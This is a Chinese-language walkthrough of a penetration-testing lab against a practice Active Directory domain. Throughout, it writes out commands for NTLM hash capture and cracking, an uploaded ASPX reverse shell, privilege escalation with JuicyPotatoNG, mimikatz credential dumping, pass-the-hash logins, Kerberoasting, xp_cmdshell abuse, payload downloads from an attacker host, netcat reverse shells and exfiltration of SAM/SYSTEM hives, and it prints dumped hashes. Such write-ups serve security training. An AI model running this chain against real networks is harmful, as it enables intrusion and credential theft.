Challenge 5 - AD

 Challenge 5 - AD

先掃對外的機器，└─$ rustscan -a 192.168.230.147 --scripts none --ulimit 5000 | tee rustscan

192.168.230.147 -> [22,21,135,139,445,5040,5985,8000,8080,8443,47001,49664,49665,49667,49666,49668,49669,49670,49671]

Port 服務資訊，└─$ sudo nmap -sCV -p 21,22,135,139,445,5040,5985,8000,8080,8443,47001,49664,49665,49667,49666,49668,49669,49670,49671 192.168.230.147 | tee nmap

值得注意的是掃了這麼多靶機，這是第一台有使用憑證的機器，掃描資訊如下

8443/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

| ssl-cert: Subject: commonName=MS01.oscp.exam

可以看到主體名稱是 MS01.oscp.exam，讓我們改一下 HOSTs 連線看一下

https://ms01.oscp.exam:8443

透過 command injection 等 SQL injection 都沒有反應，但當中的 URL 測試時發現慧真的去連線輸入的網址，所以這時候改透過輸入 SMB 網路磁碟機的方式試試看

先在 kali 啟動 responder，sudo responder -I tun0

可以參考這一篇 https://your-it-note.blogspot.com/2023/09/net-ntlmv2.html

送出 kali 主機的不存在路徑 \\192.168.45.232\test 試試看

收到帳號 web_svc 的 NetNTLMv2 的驗證進來了

HASH 存檔後進行破解，└─$ hashcat -m 5600 web_svc.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule  --force ，密碼是 Diamond1

使用 WEB_SVC:Diamond1 發現可以透過 FTP 登入，在 wwwroot 底下發現一個檔案是

iisstart.png

回到 nmap 檢查在 8000、8080 一樣是 IIS Service，測試後發現這個 wwwroot 提供給 8000 Poer

http://ms01.oscp.exam:8000/iisstart.png 如下

一般有 IIS 表示權限應該都很大，塞一個 aspx reverse shell 檔案進去看看，因為是 IIS，所以開始丟 aspx 檔案，檔案在 kali 底下都有在    /usr/share/webshells/aspx

└─$ cp /usr/share/webshells/aspx/cmdasp.aspx .  ，ftp> put cmdasp.aspx

        

開啟來測試看看 http://ms01.oscp.exam:8000/cmdasp.aspx

後來發現直接上傳 reverase shell aspx 檔案最快，去這裡下載 https://github.com/borjmz/aspx-reverse-shell，將 IP 跟 Port 改好上傳

執行 http://ms01.oscp.exam:8000/shell.aspx，reverse shell 進來了，whoami /priv 看一下

發現 SeImpersonatePrivilege 是 Enable

標準作業 JuicyPotatoNG.exe & nc.exe 下載然後建另一個提權的 shell

powershell

iwr -uri http://192.168.45.232/JuicyPotatoNG.exe -Outfile JuicyPotatoNG.exe

iwr -uri http://192.168.45.232/mimikatz.exe -Outfile mimikatz.exe

iwr -uri http://192.168.45.232/chisel.exe -Outfile chisel.exe

iwr -uri http://192.168.45.232/nc.exe -Outfile nc.exe

c:\Users\Public>JuicyPotatoNG.exe -t * -p c:\Users\Public\nc.exe -a "192.168.45.232 4445 -e c:\windows\system32\cmd.exe"

4445 port shell 進來了，看一下提權成功 nt authority\system

標準作業 mimikatz.exe，privilege::debug，sekurlsa::logonpasswords

Administrator : 3c4495bbd678fac8c9d218be4f2bbc7b

拿到 administrator 的 HASH 了，之後要進去 .147 直接用 └─$ impacket-wmiexec -hashes :3c4495bbd678fac8c9d218be4f2bbc7b Administrator@192.168.230.147，就進去了

搭 chisel

Server : └─$ chisel server --port 8080 --reverse

Client : c:\Users\Public>chisel.exe client 192.168.45.232:8080 R:socks

使用 WEB_SVC:Diamond1 查詢 Domain 服務 SPN

└─$ proxychains4 -q impacket-GetUserSPNs -request -dc-ip 10.10.120.146 oscp.exam/web_svc

獲得另外一個 sql_svc 的服務帳號

hashcat 破破看吧 └─$ sudo hashcat -m 13100 sql_svc.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force ，密碼是 Dolphin1

setspn -L sql_svc 看一下發現這個帳號對 MS02 有權限

直接 SQL 進去 MS02 試試看，└─$ proxychains4 -q impacket-mssqlclient sql_svc:Dolphin1@10.10.120.148 -windows-auth

標準套路

先輸入 EXECUTE sp_configure 'show advanced options', 1; 來啟用顯示高級選項

接著輸入 RECONFIGURE; 將更改的設定套用到運行環境的配置

再輸入 EXECUTE sp_configure 'xp_cmdshell', 1; 啟用我們要的 xp_cmdshell

一樣輸入 RECONFIGURE; 將更改的設定套用到運行環境的配置

最後輸入 輸入指令語法為 EXECUTE xp_cmdshell 'whoami';，確認命令執行成功

這時候在 .147 搭建 chisel Server，用作 chisel client 對應到本機的 80 Port

147 : chisel server --port 1234 --reverse -v

Kali : chisel client 192.168.229.147:1234 R:4321:127.0.0.1:80

然後透過 sqlclient 經過 147 到 kali 下載 nc

EXECUTE xp_cmdshell 'powershell iwr -uri http://10.10.119.147:4321/nc64.exe -Outfile c:\users\Public\nc.exe';

下載完畢可以 dir 看一下，EXECUTE xp_cmdshell 'dir c:\users\Public';

將原有的 chisel client 關閉改成對應到本機的 443 Port

└─$ chisel client 192.168.229.147:1234 R:4321:127.0.0.1:443

kali listen 443，然後透過 sqlclient 經過 147 回 kali reverse shell

EXECUTE xp_cmdshell 'c:\users\Public\nc.exe 10.10.119.147 4321 -e cmd';

148 的遠端 shell 就進來了

在 148 枚舉時發現 C:\ 底下有一個 windows.old 檔案，故先將 SAM & SYSTEM 複製出來

copy C:\windows.old\Windows\System32\SAM C:\users\Public\SAM

copy C:\windows.old\Windows\System32\SYSTEM C:\users\Public\SYSTEM

此時在 147 再建一個 chisel server 2345 Port，然後 kali listen 7777

chisel.exe server --port 2345 --reverse -v

chisel client 192.168.229.147:2345 R:5432:127.0.0.1:7777

└─$ rlwrap -cAr nc -nvlp 7777 > SAM

C:\users\Public\nc.exe 10.10.119.147 5432 < SAM

直接透過 sqlclient 執行 nc 連接 147 的 5432 Port(實際上到 kali 7777 Port) 傳送檔案

要做兩次，Session 都會斷都要重建非常煩人

└─$ rlwrap -cAr nc -nvlp 7777 > SYSTEM

C:\users\Public\nc.exe 10.10.119.147 5432 < SYSTEM

└─$ impacket-secretsdump -sam ./SAM -system ./SYSTEM LOCAL

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf45f24dc:::

Cheyanne.Adams:1002:aad3b435b51404eeaad3b435b51404ee:b3930e99899cb55b4aefef9a7021ffd0:::

David.Rhys:1003:aad3b435b51404eeaad3b435b51404ee:9ac088de348444c71dba2dca92127c11:::

Mark.Chetty:1004:aad3b435b51404eeaad3b435b51404ee:92903f280e5c5f3cab018bd91b94c771:::

└─$ proxychains4 -q evil-winrm -i 10.10.119.146 -u tom_admin -H 4979d69d4ca66955c075c41cf45f24dc

進去了，拿答案吧